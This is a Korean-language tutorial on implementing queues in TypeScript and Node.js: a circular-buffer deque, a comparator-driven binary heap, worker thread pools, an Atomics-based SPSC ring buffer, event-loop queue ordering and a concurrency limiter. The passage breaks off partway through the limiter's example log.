자바 ArrayDeque, 파이썬 deque(블록 연결), denque 가 공통으로 기대는 생각은 배열을 고리처럼 쓰는 것입니다. 요소를 옮기지 않고 head 번호만 움직이니 앞 · 뒤 모두 O(1) 입니다. 100줄이면 만들 수 있고, 한 번 만들어 두면 이 탭의 큐 · 채널 · BFS 전부에 씁니다.

원형 버퍼 — 칸 번호는 (head + i) & mask 로 계산합니다 (cap 8 이면 mask 7) 0 1 2 3 4 5 6 7 ① A~F 넣고 둘 꺼냄 C D E F ↑head ↑tail head=2 · size=4 tail = (head+size) & 7 = 6 ② G H I 넣음 7 다음은 0 I C D E F G H ↑tail ↑head head=2 · size=7 tail = (2+7) & 7 = 1 — 앞으로 감김 ③ 앞에 Z pushFront I Z C D E F G H ↑head head = (2-1) & 7 = 1 · size=8 꽉 참 — 다음 push 에서 grow ④ grow 16칸에 펴기 Z C D E F G H I head 부터 순서대로 복사 ↑head ↑tail cap 16 · mask 15 요소는 움직이지 않고 head 번호만 돕니다 — grow 할 때만 한 번에 펴서 옮깁니다 cap 이 2의 거듭제곱이라 % 대신 & 한 번으로 감깁니다 (음수 -1 & 7 도 7)
원형 버퍼 — head 와 size 두 숫자가 덱의 전부입니다. 감김은 & mask, 늘어남은 드문 O(n) 복사.

deque.ts — 완전한 구현 (tsc --strict 통과)

// deque.ts — 원형 버퍼 덱
export class Deque<T> implements Iterable<T> {
  #buf: (T | undefined)[];   // 길이는 항상 2의 거듭제곱
  #head = 0;                 // 맨 앞 요소의 칸 번호
  #size = 0;                 // 들어 있는 개수
  #mask: number;             // cap - 1  →  (i & mask) === i % cap

  constructor(capacity = 16) {
    let cap = 16;
    while (cap < capacity) cap <<= 1;            // 2의 거듭제곱으로 올림
    this.#buf = new Array<T | undefined>(cap);
    this.#mask = cap - 1;
  }

  get size(): number { return this.#size; }
  get capacity(): number { return this.#buf.length; }
  isEmpty(): boolean { return this.#size === 0; }

  pushBack(x: T): void {
    if (this.#size === this.#buf.length) this.#grow();
    this.#buf[(this.#head + this.#size) & this.#mask] = x;
    this.#size++;
  }
  pushFront(x: T): void {
    if (this.#size === this.#buf.length) this.#grow();
    this.#head = (this.#head - 1) & this.#mask;  // -1 & 15 === 15 : 뒤로 감김
    this.#buf[this.#head] = x;
    this.#size++;
  }
  popFront(): T | undefined {
    if (this.#size === 0) return undefined;
    const x = this.#buf[this.#head];
    this.#buf[this.#head] = undefined;           // ★ 참조를 끊어야 GC 가 회수
    this.#head = (this.#head + 1) & this.#mask;
    this.#size--;
    return x;
  }
  popBack(): T | undefined {
    if (this.#size === 0) return undefined;
    const i = (this.#head + this.#size - 1) & this.#mask;
    const x = this.#buf[i];
    this.#buf[i] = undefined;
    this.#size--;
    return x;
  }
  peekFront(): T | undefined { return this.#size ? this.#buf[this.#head] : undefined; }
  peekBack(): T | undefined {
    return this.#size ? this.#buf[(this.#head + this.#size - 1) & this.#mask] : undefined;
  }
  at(i: number): T | undefined {                 // 음수 인덱스도 Array.at 처럼
    if (i < 0) i += this.#size;
    if (i < 0 || i >= this.#size) return undefined;
    return this.#buf[(this.#head + i) & this.#mask];
  }
  clear(): void {
    this.#buf = new Array<T | undefined>(16);
    this.#mask = 15; this.#head = 0; this.#size = 0;
  }
  *[Symbol.iterator](): Iterator<T> {            // 앞 → 뒤
    for (let i = 0; i < this.#size; i++) yield this.#buf[(this.#head + i) & this.#mask] as T;
  }
  toArray(): T[] { return [...this]; }

  #grow(): void {
    // 감긴 상태 [E F G H | A B C D] (head=4) → 새 배열에 [A B C D E F G H] 로 펴서 옮긴다
    const old = this.#buf, n = old.length;
    const next = new Array<T | undefined>(n << 1);
    for (let i = 0; i < n; i++) next[i] = old[(this.#head + i) & this.#mask];
    this.#buf = next;
    this.#head = 0;
    this.#mask = (n << 1) - 1;
  }
}

써 보기 — 감김과 grow 를 눈으로

// deque-demo.ts — node deque-demo.ts (Node 24 는 타입을 지우고 바로 실행)
import { Deque } from "./deque.ts";

const d = new Deque<string>(4);          // 최소 16 칸
for (const c of "ABCD") d.pushBack(c);
d.pushFront("Z");                        // head 가 0 → 15 로 감김
console.log(d.toArray().join(""), d.capacity);   // ZABCD 16
console.log(d.popFront(), d.popBack(), d.peekFront(), d.peekBack(), d.at(-1), d.size);
// Z D A C C 3

const w = new Deque<number>();
for (let i = 0; i < 12; i++) w.pushBack(i);
for (let i = 0; i < 10; i++) w.popFront();       // head=10, 남은 [10, 11]
for (let i = 12; i < 26; i++) w.pushBack(i);      // 16칸 꽉 참 (감긴 상태)
w.pushBack(26);                                   // ← 여기서 grow
console.log(w.capacity, w.peekFront(), w.peekBack(), w.size);   // 32 10 26 17
console.log([...w].slice(0, 5));                  // [ 10, 11, 12, 13, 14 ]
console.log(new Deque().popFront());              // undefined (예외 아님)
왜 2의 거듭제곱인가 — (head - 1) % cap 은 head 가 0 이면 -1 이 나옵니다(JS 의 % 는 부호를 따라감). (head - 1) & mask 는 2의 보수 덕분에 바로 cap - 1 이 됩니다. 분기 하나 · 나눗셈 하나가 사라지는 것이 덤입니다.
this.#buf[i] = undefined 를 빠뜨리지 마세요. 꺼낸 칸에 객체 참조가 남아 있으면 덱이 비어 보여도 그 객체들은 GC 되지 않습니다(메모리 누수). 자바 ArrayDeque 소스도 꺼낸 칸을 null 로 지웁니다.

연산별 시간

연산시간비고
pushBack · pushFront분할 상환 O(1)grow 하는 그 한 번만 O(n)
popFront · popBackO(1)줄어들지는 않음(축소 없음)
peek · at(i)O(1)임의 접근 가능 — 연결 리스트와 다른 점
중간 삽입 · 삭제O(n)제공하지 않음 — 필요하면 다른 구조
순회O(n)앞 → 뒤, 연속 메모리라 캐시에 유리

직접 vs 패키지 — 무엇을 고르나 🟡 중급

검증된 npm 패키지 (이름과 성격)

패키지무엇
denque원형 버퍼 덱. push · pop · shift · unshift 가 Array 와 같은 이름이라 shift 큐를 바꿔 끼우기 쉬움. ioredis 등 유명 라이브러리가 의존
yocto-queue아주 작은 연결 리스트 큐(enqueue · dequeue). p-limit 이 내부에서 씀
mnemonist자료구조 모음 — FixedDeque · CircularBuffer · Heap · LinkedList 등
@datastructures-js/*deque · queue · priority-queue 를 패키지별로. TS 타입 포함
// npm i denque   (이 탭에서는 설치하지 않았습니다 — README 로 확인한 기본 API)
import Denque from "denque";

const q = new Denque<number>([1, 2]);
q.push(3);          // 뒤에 넣기
q.unshift(0);       // 앞에 넣기
q.shift();          // 0  ← 이름은 shift 지만 O(1)
q.pop();            // 3
q.peekFront();      // 1
q.length;           // 1

고르는 기준

  • 라이브러리 · SDK 를 만든다 → 의존성을 늘리지 않게 직접 구현(100줄) 또는 인덱스 포인터 큐.
  • 앱 코드에서 shift 큐를 고친다 → denque 로 이름 그대로 교체가 가장 싸고 안전합니다.
  • 덱 · 힙 · LRU 를 여럿 쓴다 → mnemonist 하나로.
  • 브라우저 번들 크기가 민감 → 직접 구현(트리 셰이킹 걱정 없음).
패키지의 메이저 버전마다 API 가 조금씩 바뀝니다(이름 · 반환 형태). 버전을 고정하고 README 의 예제를 기준으로 쓰세요. 이 탭은 버전을 특정하지 않고 "최근 메이저" 기준으로만 적었습니다.

파이썬 deque · 자바 ArrayDeque 와 비교

구현내부 구조
이 탭 Deque<T> · denque배열 하나를 고리로, 꽉 차면 2배
Java ArrayDeque같은 원형 배열(용량 확장 방식은 버전마다 다름)
Python deque고정 크기 블록의 이중 연결 리스트
C++ std::deque청크 배열 + 청크 포인터 맵
정리 — 덱은 배열 + head + size + mask 네 개로 만듭니다. 꺼낸 칸을 undefined 로 지우는 것, 용량을 2의 거듭제곱으로 두는 것 두 가지만 지키면 앞 · 뒤 모두 O(1) 입니다.
SQ 05

우선순위 큐 — 이진 힙을 comparator 로

"가장 급한 것부터", "가장 가까운 것부터" 꺼내야 할 때마다 arr.sort() 를 다시 부르는 코드를 자주 봅니다. 매번 O(n log n) 입니다. 이진 힙은 넣기 · 빼기 모두 O(log n) 이고, 배열 하나로 됩니다.

트리로 그리면 이렇고, 메모리에는 오른쪽 배열 하나만 있습니다 1 i=0 3 i=1 2 i=2 5 i=3 9 i=4 8 i=5 [0] [1] [2] [3] [4] [5] 1 3 2 5 9 8 층 0 층 1 층 2 부모 = (i - 1) >> 1 자식 = 2i + 1 · 2i + 2 — 포인터가 필요 없습니다 pop() ① 1 을 돌려주고, 마지막 8 을 0번으로 8 3 2 5 9 ② 자식 3 · 2 중 작은 2 와 교환 → 더 내려갈 곳 없음 2 3 8 5 9 정렬된 배열이 아닙니다 — "부모 ≤ 자식" 만 지키므로 3 과 2 의 순서는 아무래도 됩니다 그래서 맨 앞(최솟값)만 O(1), 넣기 · 빼기는 높이만큼 = O(log n)
힙 = 층 순서로 편 완전 이진 트리. 인덱스 계산만으로 부모 · 자식을 찾아 배열 하나에 담깁니다.

heap.ts — comparator 주입형 (tsc --strict 통과)

// heap.ts
export type Comparator<T> = (a: T, b: T) => number;   // 음수면 a 가 먼저 나온다

export class BinaryHeap<T> {
  #a: T[] = [];
  readonly #cmp: Comparator<T>;

  constructor(cmp: Comparator<T>, items: Iterable<T> = []) {
    this.#cmp = cmp;
    for (const x of items) this.#a.push(x);
    for (let i = (this.#a.length >> 1) - 1; i >= 0; i--) this.#down(i);  // O(n) heapify
  }
  get size(): number { return this.#a.length; }
  peek(): T | undefined { return this.#a[0]; }

  push(x: T): void {
    this.#a.push(x);
    this.#up(this.#a.length - 1);
  }
  pop(): T | undefined {
    const a = this.#a;
    if (a.length === 0) return undefined;
    const top = a[0];
    const last = a.pop()!;
    if (a.length > 0) { a[0] = last; this.#down(0); }
    return top;
  }

  #up(i: number): void {
    const a = this.#a, x = a[i];
    while (i > 0) {
      const p = (i - 1) >> 1;
      if (this.#cmp(x, a[p]) >= 0) break;
      a[i] = a[p]; i = p;               // 부모를 내리고 자리를 올라감 (swap 보다 쓰기 절반)
    }
    a[i] = x;
  }
  #down(i: number): void {
    const a = this.#a, n = a.length, x = a[i];
    for (;;) {
      let c = 2 * i + 1;
      if (c >= n) break;
      if (c + 1 < n && this.#cmp(a[c + 1], a[c]) < 0) c++;   // 더 앞서는 자식
      if (this.#cmp(a[c], x) >= 0) break;
      a[i] = a[c]; i = c;
    }
    a[i] = x;
  }
  raw(): readonly T[] { return [...this.#a]; }               // 디버깅용
}

방향 · 다중 키 · 안정성 (실행 결과)

import { BinaryHeap } from "./heap.ts";

// ① 최소 힙 / 최대 힙 — 비교 함수의 방향만 바꿉니다
const minH = new BinaryHeap<number>((a, b) => a - b, [5, 3, 8, 1, 9, 2]);
console.log(minH.raw());              // [ 1, 3, 2, 5, 9, 8 ]  ← 위 그림
const out: number[] = [];
while (minH.size) out.push(minH.pop()!);
console.log(out);                     // [ 1, 2, 3, 5, 8, 9 ]
const maxH = new BinaryHeap<number>((a, b) => b - a, [5, 3, 8, 1, 9, 2]);
console.log(maxH.pop(), maxH.pop());  // 9 8

// ② 다중 키 — 우선순위 오름차순, 같으면 먼저 온 것(seq)
type Job = { name: string; pri: number; seq: number };
let seq = 0;
const jobs = new BinaryHeap<Job>((a, b) => a.pri - b.pri || a.seq - b.seq);
for (const [name, pri] of [["메일", 2], ["결제", 1], ["로그", 3], ["환불", 1], ["알림", 2]] as const)
  jobs.push({ name, pri, seq: seq++ });
const order: string[] = [];
while (jobs.size) order.push(jobs.pop()!.name);
console.log(order.join(" → "));       // 결제 → 환불 → 메일 → 알림 → 로그

// ③ seq 가 없으면? 같은 우선순위끼리 순서가 섞입니다
const h = new BinaryHeap<{ name: string; pri: number }>((a, b) => a.pri - b.pri);
for (const [name, pri] of [["a", 1], ["b", 1], ["c", 1], ["d", 0], ["e", 1]] as const) h.push({ name, pri });
const r: string[] = [];
while (h.size) r.push(h.pop()!.name);
console.log(r.join(" "));             // d e b c a   ← a b c e 순서로 넣었는데!
힙은 안정(stable)하지 않습니다. 같은 우선순위의 FIFO 가 필요하면 위 ②처럼 삽입 번호를 두 번째 키로 넣으세요. Array.prototype.sort 는 ES2019 부터 안정 정렬이 명세지만, 힙에는 그런 보장이 없습니다.

top-k · 다익스트라 — 힙이 실제로 쓰이는 두 자리 🟡 중급

top-k — 크기 k 의 최소 힙

// 큰 것 k 개를 남기려면 "최소" 힙: 맨 위가 지금까지의 k 등
function topK(nums: Iterable<number>, k: number): number[] {
  const h = new BinaryHeap<number>((a, b) => a - b);
  for (const x of nums) {
    if (h.size < k) h.push(x);
    else if (x > h.peek()!) { h.pop(); h.push(x); }   // k 등보다 크면 교체
  }
  const r: number[] = [];
  while (h.size) r.push(h.pop()!);
  return r.reverse();
}
console.log(topK([7, 2, 19, 4, 11, 3, 15, 8], 3));   // [ 19, 15, 11 ]
// O(n log k) · 메모리 O(k) — 스트림(끝을 모르는 입력)에도 그대로
전부 정렬(toSorted().slice(0, k))은 O(n log n) 에 메모리 O(n) 입니다. n 이 수천이면 어느 쪽도 괜찮고, 로그 수백만 줄에서 상위 10개처럼 n 이 크고 k 가 작을 때 힙이 이깁니다.

다익스트라 — 낡은 항목은 꺼낼 때 버린다

type Graph = Record<string, [to: string, w: number][]>;

function dijkstra(graph: Graph, src: string): Record<string, number> {
  const dist = new Map<string, number>([[src, 0]]);
  const pq = new BinaryHeap<[number, string]>((a, b) => a[0] - b[0], [[0, src]]);
  while (pq.size) {
    const [d, u] = pq.pop()!;
    if (d > (dist.get(u) ?? Infinity)) continue;   // ★ 이미 더 짧은 길을 찾음 (lazy deletion)
    for (const [v, w] of graph[u] ?? []) {
      const nd = d + w;
      if (nd < (dist.get(v) ?? Infinity)) { dist.set(v, nd); pq.push([nd, v]); }
    }
  }
  return Object.fromEntries(dist);
}
const g: Graph = { A: [["B", 4], ["C", 1]], C: [["B", 2], ["D", 7]], B: [["D", 1]] };
console.log(dijkstra(g, "A"));   // { A: 0, B: 3, C: 1, D: 4 }
힙에는 "우선순위 낮추기(decrease-key)"가 없습니다. 그래서 거리가 줄면 새 항목을 하나 더 넣고, 나중에 꺼낸 낡은 항목은 continue 로 버립니다. 실무 구현 대부분이 이 방식입니다.

함정 — 힙 밖에서 우선순위를 바꾸면

const x = { name: "x", pri: 5 }, y = { name: "y", pri: 3 };
const h2 = new BinaryHeap<typeof x>((a, b) => a.pri - b.pri, [x, y]);
x.pri = 1;                       // 힙은 이 변경을 모릅니다
console.log(h2.pop()!.name);     // "y"   ← x 가 더 급한데!

// ✅ 바꿔야 하면: 새 객체를 push 하고 낡은 것은 꺼낼 때 버리기 (다익스트라 방식)
//    또는 인덱스를 추적하는 indexed heap 을 쓰기

패키지를 쓴다면

패키지성격
@datastructures-js/priority-queuecomparator 를 받는 PriorityQueue, 숫자 키용 MinPriorityQueue · MaxPriorityQueue. TS 타입 포함
tinyqueue아주 작은 이진 힙(push · pop · peek). 지도 라이브러리 진영에서 많이 씀
mnemonistHeap · FibonacciHeap 등
p-queue"비동기 작업"에 우선순위 + 동시성 제한 — 자료구조가 아니라 작업 큐 (SQ 07)
@datastructures-js/priority-queue 는 메이저 버전 사이에 dequeue() 의 반환 형태가 바뀐 적이 있습니다 (예전에는 { element, priority } 묶음). 업그레이드 때 반드시 확인하세요.
정리 — 우선순위 큐는 comparator 하나를 받는 배열 힙입니다. 같은 우선순위의 순서가 중요하면 seq 를 두 번째 키로, 우선순위가 바뀌면 다시 넣고 낡은 것은 버리세요.
SQ 06

스레드 사이의 큐 — Worker · MessageChannel · Atomics

자바의 BlockingQueue 에 해당하는 것이 JS 에는 없습니다. 대신 JS 는 객체를 스레드끼리 공유하지 않는 모델이라 락이 필요한 자리가 거의 없습니다. 스레드 사이의 큐는 메시지 포트(복사)와 SharedArrayBuffer(공유 바이트) 두 길뿐입니다.

먼저 — 한 스레드 안의 "경쟁 상태"

메인 스레드 하나라서 락이 필요 없다는 말은 await 가 없는 구간에서만 맞습니다. await 를 넘는 순간 다른 콜백이 끼어듭니다.

// race.mjs
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
let loads = 0;
async function load(k) { loads++; await sleep(10); return k.toUpperCase(); }

// ❌ 확인 → await → 저장 : 사이에 다른 호출이 끼어든다
const cache = new Map();
async function getBad(k) {
  if (!cache.has(k)) cache.set(k, await load(k));
  return cache.get(k);
}
await Promise.all([getBad("a"), getBad("a"), getBad("a")]);
console.log("bad loads", loads);                 // bad loads 3

// ✅ Promise 를 먼저 넣는다 — 확인과 저장 사이에 await 가 없다
loads = 0;
const cache2 = new Map();
function getGood(k) {
  if (!cache2.has(k)) cache2.set(k, load(k).catch((e) => { cache2.delete(k); throw e; }));
  return cache2.get(k);
}
console.log(await Promise.all([getGood("a"), getGood("a"), getGood("a")]), "good loads", loads);
// [ 'A', 'A', 'A' ] good loads 1

// 배열 큐도 같다 — length 를 보고 await 한 뒤 shift 하면
const q = ["job"];
async function consumer(name) {
  if (q.length > 0) { await sleep(1); console.log(name, q.shift()); }
}
await Promise.all([consumer("c1"), consumer("c2")]);
// c1 job
// c2 undefined   ← 둘 다 "있다"를 봤다
규칙: 확인과 꺼내기 사이에 await 를 두지 마세요. const job = q.shift(); if (job) await run(job) 처럼 먼저 꺼내고 나서 기다리면 경쟁이 사라집니다.

Worker 풀 — 메인의 작업 큐 + MessagePort

// worker-pool.mjs — 한 파일이 메인이자 워커
import { Worker, isMainThread, parentPort, MessageChannel } from "node:worker_threads";
import { once } from "node:events";

if (!isMainThread) {
  parentPort.on("message", (msg) => {
    if (msg === null) { parentPort.close(); return; }   // ★ 독약(poison pill) — 종료 신호
    const { id, n } = msg;
    let s = 0;
    for (let i = 0; i < n; i++) s += i % 7;           // CPU 를 먹는 일
    parentPort.postMessage({ id, s });
  });
} else {
  // ① MessagePort 자체가 FIFO 큐 — 리스너를 달기 전에 보낸 것도 순서대로 쌓여 있다
  const { port1, port2 } = new MessageChannel();
  for (const m of ["a", "b", "c"]) port1.postMessage(m);
  const got = [];
  port2.on("message", (m) => {
    got.push(m);
    if (got.length === 3) { console.log("MessageChannel 순서", got.join("")); port2.close(); }
  });

  // ② 워커 2개 — 대기 작업은 메인 큐에, 빈 워커가 생기면 하나씩 준다(= 배압)
  const tasks = [3e7, 1e7, 2e7, 1e7, 1e7].map((n, id) => ({ id, n }));
  const pending = [...tasks];                  // 5개뿐이라 shift 로 충분
  const results = new Map();
  const workers = Array.from({ length: 2 }, () => new Worker(new URL(import.meta.url)));

  await new Promise((done) => {
    const feed = (w) => {
      const t = pending.shift();
      if (t) w.postMessage(t);
      else if (results.size === tasks.length) done();
    };
    for (const w of workers) {
      w.on("message", ({ id, s }) => {
        results.set(id, s);
        console.log(`작업 ${id} 완료 (워커 ${w.threadId})`);
        feed(w);
      });
      feed(w);
    }
  });
  console.log("결과 수", results.size, "작업0 =", results.get(0));
  // 정상 종료: null 을 보내고 'exit' 를 기다림 (terminate 는 하던 일을 끊음)
  await Promise.all(workers.map((w) => { w.postMessage(null); return once(w, "exit"); }));
  console.log("모든 워커 종료");
}
// MessageChannel 순서 abc
// 작업 1 완료 (워커 2)
// 작업 0 완료 (워커 1)
// 작업 2 완료 (워커 2)        ← 완료 순서는 실행마다 달라질 수 있음
// 작업 3 완료 (워커 1)
// 작업 4 완료 (워커 2)
// 결과 수 5 작업0 = 89999995
// 모든 워커 종료
자바 BlockingQueue 개념JS 대응메모
스레드 간 FIFOMessagePort · worker.postMessage구조화 복제(structured clone)로 복사. 함수 · 클래스 인스턴스의 메서드는 못 보냄
큰 데이터 넘기기postMessage(buf, [buf]) 전송 목록ArrayBuffer 소유권을 옮김(복사 없음) — 보낸 쪽 buf 는 길이 0 이 됨
유한 큐 · 배압"빈 워커에게만 하나씩" (위 feed)워커 쪽 포트에 무한정 쌓지 말 것 — 메모리 · 지연이 같이 늘어남
take() 블로킹워커 안의 Atomics.wait브라우저 메인 스레드에서는 금지(Atomics.waitAsync 사용)
poison pillpostMessage(null) 후 parentPort.close()worker.terminate() 는 즉시 중단 — 진행 중 작업이 사라짐
ConcurrentLinkedQueueSharedArrayBuffer + Atomics 링 버퍼바이트만 공유. 단일 생산자 · 단일 소비자(SPSC)가 가장 단순

SharedArrayBuffer + Atomics — SPSC 링 버퍼 🔴 고급

값을 먼저 쓰고 → 번호를 공개 — 순서가 바뀌면 소비자가 빈 칸을 읽습니다 생산자 워커 SAB ctrl · data 소비자 워커 비어 있음 wait(TAIL, head) ① data[tail & 7] = v (일반 쓰기) ② Atomics.store(TAIL, ++tail) ③ notify(TAIL) — 깨움 ④ Atomics.load(TAIL) ⑤ v = data[head & 7] ⑥ store(HEAD) · notify 꽉 차면 (tail - head = 8) wait(HEAD, head) 로 잠듦 ctrl[0]=HEAD 는 소비자만, ctrl[1]=TAIL 은 생산자만 씁니다 — 쓰는 쪽이 하나라 락이 없습니다
SPSC 링 — 각 번호를 한쪽만 쓰고, 값 쓰기 → Atomics.store 순서를 지키면 락 없이 안전합니다.

spsc.mjs — 10만 개를 두 워커 사이로

import { Worker, isMainThread, workerData, parentPort } from "node:worker_threads";

const HEAD = 0, TAIL = 1;          // 계속 증가하는 번호 (칸 = 번호 & MASK)
const CAP = 8, MASK = CAP - 1;
const N = 100_000;

if (isMainThread) {
  const sab = new SharedArrayBuffer(4 * (2 + CAP));     // ctrl 2칸 + data 8칸
  const run = (role) => new Promise((ok, fail) => {
    const w = new Worker(new URL(import.meta.url), { workerData: { sab, role } });
    w.once("message", ok).once("error", fail);
  });
  const [, sum] = await Promise.all([run("producer"), run("consumer")]);
  console.log("합계", sum, "기대", (N * (N + 1)) / 2);
  // 합계 5000050000 기대 5000050000
} else {
  const ctrl = new Int32Array(workerData.sab, 0, 2);
  const data = new Int32Array(workerData.sab, 8, CAP);

  if (workerData.role === "producer") {
    let tail = 0;
    for (let v = 1; v <= N; v++) {
      for (;;) {
        const head = Atomics.load(ctrl, HEAD);
        if (tail - head < CAP) break;               // 빈칸 있음
        Atomics.wait(ctrl, HEAD, head);             // 꽉 참 → head 가 바뀔 때까지 잠
      }
      data[tail & MASK] = v;                        // ① 값을 먼저
      Atomics.store(ctrl, TAIL, ++tail);            // ② 그다음 공개
      Atomics.notify(ctrl, TAIL);
    }
    parentPort.postMessage(0);
  } else {
    let head = 0, sum = 0;
    for (let got = 0; got < N; ) {
      if (Atomics.load(ctrl, TAIL) === head) {      // 비어 있음
        Atomics.wait(ctrl, TAIL, head);
        continue;
      }
      sum += data[head & MASK];
      Atomics.store(ctrl, HEAD, ++head);            // 칸을 돌려줌
      Atomics.notify(ctrl, HEAD);
      got++;
    }
    parentPort.postMessage(sum);
  }
}

정확히 알아야 할 것

  • 왜 안전한가 — Atomics.* 연산은 순차 일관(sequentially consistent)입니다. ①의 일반 쓰기는 ②의 Atomics.store 보다 먼저 일어나고, 소비자가 ④ Atomics.load 로 새 tail 을 보면 ①도 보입니다. ①과 ②의 순서를 바꾸면 이 보장이 깨집니다.
  • Atomics.wait(arr, i, v) 는 "arr[i] 가 아직 v 면 잠든다"입니다. 확인과 잠들기가 한 번에 일어나므로 notify 를 놓치는 일이 없습니다.
  • 번호가 계속 증가 — tail - head 로 개수를 구합니다. Int32 라 약 21억 개를 넘기면 넘칩니다 (오래 도는 서비스면 주기적으로 0 으로 되돌리거나 칸 번호만 저장).
  • 값은 숫자만 — SAB 에는 바이트만 들어갑니다. 객체를 보내려면 직렬화하거나 MessagePort 를 쓰세요.
  • 브라우저 — SharedArrayBuffer 는 교차 출처 격리(COOP: same-origin + COEP: require-corp) 페이지에서만 쓸 수 있고, 메인 스레드에서는 Atomics.wait 대신 Atomics.waitAsync 를 씁니다.
대부분의 앱에는 MessagePort 로 충분합니다. SAB 링은 오디오 처리 · 고빈도 센서 데이터처럼 복사 비용과 지연이 문제로 측정된 경우에만 쓰세요. 이 PC 에서 10만 개를 8칸 링으로 넘기는 데 약 50~70ms 가 걸렸습니다.
정리 — JS 의 스레드 간 큐는 MessagePort(복사 · 전송)가 기본이고, 배압은 "빈 워커에게만 준다"로 겁니다. 한 스레드 안에서도 await 를 넘는 확인-후-행동은 경쟁 상태입니다.
SQ 07

비동기 큐 — 이벤트 루프 · p-limit · 채널 · Streams

JS 에서 가장 많이 쓰는 큐는 사실 눈에 안 보입니다. 이벤트 루프가 큐 여러 개이고, await 하나하나가 마이크로태스크 큐에 줄을 섭니다. 이 절은 그 큐들의 순서를 확인한 뒤, 동시성 제한 큐 · 배압 있는 채널 · 스트림을 직접 만들고 씁니다.

Node 이벤트 루프 — 단계마다 자기 큐가 있고, 콜백 사이사이에 두 큐를 비웁니다 timers setTimeout pending 미뤄진 콜백 poll I/O 콜백 check setImmediate close close 이벤트 콜백 하나 끝날 때마다 nextTick → 마이크로태스크 를 끝까지 비움 nextTick 큐 process.nextTick (Node) 마이크로태스크 큐 then · await · queueMicrotask 비우는 도중 추가된 것도 이번에 다 실행 → 무한히 추가하면 루프가 굶습니다 각 단계의 큐는 FIFO 타이머만 만료 시각 순 (내부적으로 우선순위 큐) 브라우저도 같은 모양 — 매크로태스크 하나 → 마이크로태스크 전부 → 렌더링 기회
이벤트 루프 = 단계별 FIFO 큐들의 순환. 마이크로태스크는 어느 단계에서든 콜백 사이에 먼저 끼어듭니다.

실제 실행 순서 — event-loop.mjs

import { readFile } from "node:fs";

console.log("A 동기");
setTimeout(() => console.log("F 타이머 큐 (setTimeout 0)"), 0);
setImmediate(() => console.log("G check 큐 (setImmediate)"));
readFile(import.meta.filename, () => {
  console.log("H I/O 콜백 (poll)");
  setTimeout(() => console.log("J I/O 안에서 건 타이머"), 0);
  setImmediate(() => console.log("I I/O 안에서 건 immediate"));
});
Promise.resolve().then(() => console.log("C 마이크로태스크 (then)"));
queueMicrotask(() => {
  console.log("D 마이크로태스크 (queueMicrotask)");
  Promise.resolve().then(() => console.log("D2 비우는 도중 추가 — 이번에 바로"));
});
process.nextTick(() => console.log("E nextTick 큐"));
console.log("B 동기");
$ node event-loop.mjs        (Node 24, 5회 모두 같은 순서)
A 동기
B 동기
C 마이크로태스크 (then)
D 마이크로태스크 (queueMicrotask)
D2 비우는 도중 추가 — 이번에 바로
E nextTick 큐                       ← ESM 에서는 마이크로태스크 뒤!
F 타이머 큐 (setTimeout 0)
G check 큐 (setImmediate)
H I/O 콜백 (poll)
I I/O 안에서 건 immediate           ← I/O 콜백 안에서는 항상 타이머보다 먼저
J I/O 안에서 건 타이머

읽는 법 — 큐 관점

  • 동기 코드가 콜스택을 다 비운 뒤에야 어떤 큐든 돌기 시작합니다(A, B).
  • 마이크로태스크 큐는 "비울 때까지" 돕니다. 비우는 도중 추가된 D2 도 이번 차례에 실행됩니다. 그래서 then 안에서 계속 then 을 거는 코드는 타이머 · I/O 를 영원히 굶길 수 있습니다.
  • nextTick 과 Promise 의 순서는 파일 형식에 따라 다릅니다. 이 PC 실측: .mjs(ESM) 는 then → nextTick, 같은 코드를 .cjs 로 돌리면 nextTick → then. ESM 의 최상위 코드는 그 자체가 Promise 작업 안에서 평가되기 때문입니다. 둘의 순서에 기대는 코드를 쓰지 마세요.
  • 메인 모듈의 setTimeout(0) vs setImmediate 는 Node 문서상 순서가 보장되지 않습니다 (이 PC 에선 F 가 먼저였지만). I/O 콜백 안에서는 check 단계가 바로 다음이라 immediate 가 항상 먼저입니다(I → J).
기초 순서(동기 → 마이크로 → 매크로)는 🟨 JavaScript 탭 j10 에 있습니다. 여기서 기억할 것은 "마이크로태스크 큐는 한 번에 끝까지 비운다"는 FIFO 의 성질 하나입니다 — 아래 채널 · 리미터가 전부 이 위에서 돕니다.

동시성 제한 큐 — p-limit 을 30줄로 🟡 중급

createLimit(2) — 이 PC 실행 로그를 그대로 그린 일정 (작업 #0 ~ #4) 0 100 200 300 400 ms #0 · 300ms #1 · 100ms #2 · 200ms #3 · 실패 #4 · 100ms 대기 큐에서 대기 큐에서 대기 점선 = 큐에서 기다린 시간 · 실선 = 실행 — 어느 세로선에서 세어도 실선은 2개 이하 #3 이 실패해도 슬롯은 finally 에서 반납되어 #4 가 막히지 않습니다
동시성 제한 = "출발 신호"를 담은 FIFO 큐 + 실행 중 카운터. 끝난 작업이 다음 작업을 깨웁니다.

limit.ts — 큐는 SQ 04 의 Deque

// limit.ts — p-limit 과 같은 생각
import { Deque } from "./deque.ts";

export function createLimit(concurrency: number) {
  if (!Number.isInteger(concurrency) || concurrency < 1) throw new RangeError("concurrency >= 1");
  const waiting = new Deque<() => void>();   // 차례를 기다리는 "출발 신호" (FIFO)
  let active = 0;

  const next = () => {
    if (active >= concurrency) return;
    waiting.popFront()?.();
  };

  return function limit<R>(task: () => R | PromiseLike<R>): Promise<R> {
    return new Promise<R>((resolve, reject) => {
      waiting.pushBack(() => {
        active++;
        // task() 가 동기로 throw 해도 reject 로 바뀌게 then 안에서 부른다
        Promise.resolve()
          .then(task)
          .then(resolve, reject)
          .finally(() => { active--; next(); });   // ★ 성공 · 실패 모두 슬롯 반납
      });
      next();
    });
  };
}
ES2025 의 Promise.try(task) 를 쓰면 Promise.resolve().then(task) 대신 task 를 동기로 바로 시작하면서 throw 를 reject 로 바꿉니다(Node 24 에서 사용 가능). 한 틱 늦게 시작해도 괜찮다면 지금 코드 그대로도 됩니다.

써 보기 — 위 그림의 로그

import { createLimit } from "./limit.ts";

const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const t0 = performance.now();
const stamp = () => String(Math.round((performance.now() - t0) / 100) * 100).padStart(4);

const limit = createLimit(2);
const jobs = [300, 100, 200, 100, 100].map((ms, i) =>
  limit(async () => {
    console.log(`${stamp()}ms  시작 #${i}`);
    await sleep(ms);
    if (i === 3) throw new Error(`#${i} 실패`);
    return `#${i} 완료`;
  }),
);
const results = await Promise.allSettled(jobs);
console.log(results.map((r) => (r.status === "fulfilled" ? r.value : (r.reason as Error).message)));
//    0ms  시작 #0
//    0ms  시작 #1
//  100ms  시작 #2
